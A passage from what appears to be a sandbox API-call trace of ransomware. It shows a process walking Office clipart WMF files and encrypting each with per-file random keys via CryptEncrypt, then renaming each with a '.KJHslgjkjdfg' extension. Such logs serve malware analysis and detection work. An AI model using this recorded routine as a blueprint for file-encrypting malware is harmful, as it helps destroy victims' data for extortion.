lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.652] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.653] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.653] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1600, lpOverlapped=0x0) returned 1 [0192.654] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600) returned 1 [0192.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.654] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1600, lpOverlapped=0x0) returned 1 [0192.654] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.655] SetEndOfFile (hFile=0x130) returned 1 [0192.660] GetProcessHeap () returned 0x990000 [0192.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.660] GetProcessHeap () returned 0x990000 [0192.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.kjhslgjkjdfg")) returned 1 [0192.662] CloseHandle (hObject=0x130) returned 1 [0192.662] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0192.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.664] GetProcessHeap () returned 0x990000 [0192.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.667] GetProcessHeap () returned 0x990000 [0192.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.667] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.667] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.667] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd74, lpOverlapped=0x0) returned 1 [0192.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd80, dwBufLen=0xd80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd80) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.668] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd80, lpOverlapped=0x0) returned 1 [0192.668] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.668] SetEndOfFile (hFile=0x130) returned 1 [0192.671] GetProcessHeap () returned 0x990000 [0192.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.671] GetProcessHeap () returned 0x990000 [0192.671] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.kjhslgjkjdfg")) returned 1 [0192.673] CloseHandle (hObject=0x130) returned 1 [0192.673] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0192.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.673] GetProcessHeap () returned 0x990000 [0192.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.673] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.674] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.676] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.676] GetProcessHeap () returned 0x990000 [0192.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.676] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.676] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.676] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.676] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.676] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.677] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.677] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.677] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4314, lpOverlapped=0x0) returned 1 [0192.678] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4320, dwBufLen=0x4320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4320) returned 1 [0192.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.678] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4320, lpOverlapped=0x0) returned 1 [0192.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.679] SetEndOfFile (hFile=0x130) returned 1 [0192.681] GetProcessHeap () returned 0x990000 [0192.681] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.682] GetProcessHeap () returned 0x990000 [0192.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.kjhslgjkjdfg")) returned 1 [0192.683] CloseHandle (hObject=0x130) returned 1 [0192.683] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0192.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.684] GetProcessHeap () returned 0x990000 [0192.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.684] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.684] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.687] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.687] GetProcessHeap () returned 0x990000 [0192.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.687] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.687] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.687] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.687] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.687] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.687] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.688] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d0c, lpOverlapped=0x0) returned 1 [0192.689] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d10, dwBufLen=0x2d10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d10) returned 1 [0192.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.689] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d10, lpOverlapped=0x0) returned 1 [0192.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.689] SetEndOfFile (hFile=0x130) returned 1 [0192.692] GetProcessHeap () returned 0x990000 [0192.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.692] GetProcessHeap () returned 0x990000 [0192.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.kjhslgjkjdfg")) returned 1 [0192.693] CloseHandle (hObject=0x130) returned 1 [0192.694] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0192.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.694] GetProcessHeap () returned 0x990000 [0192.694] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.695] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.695] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.697] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.697] GetProcessHeap () returned 0x990000 [0192.697] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.697] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.697] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.697] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.697] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.698] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.698] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.698] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.698] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.698] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.698] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 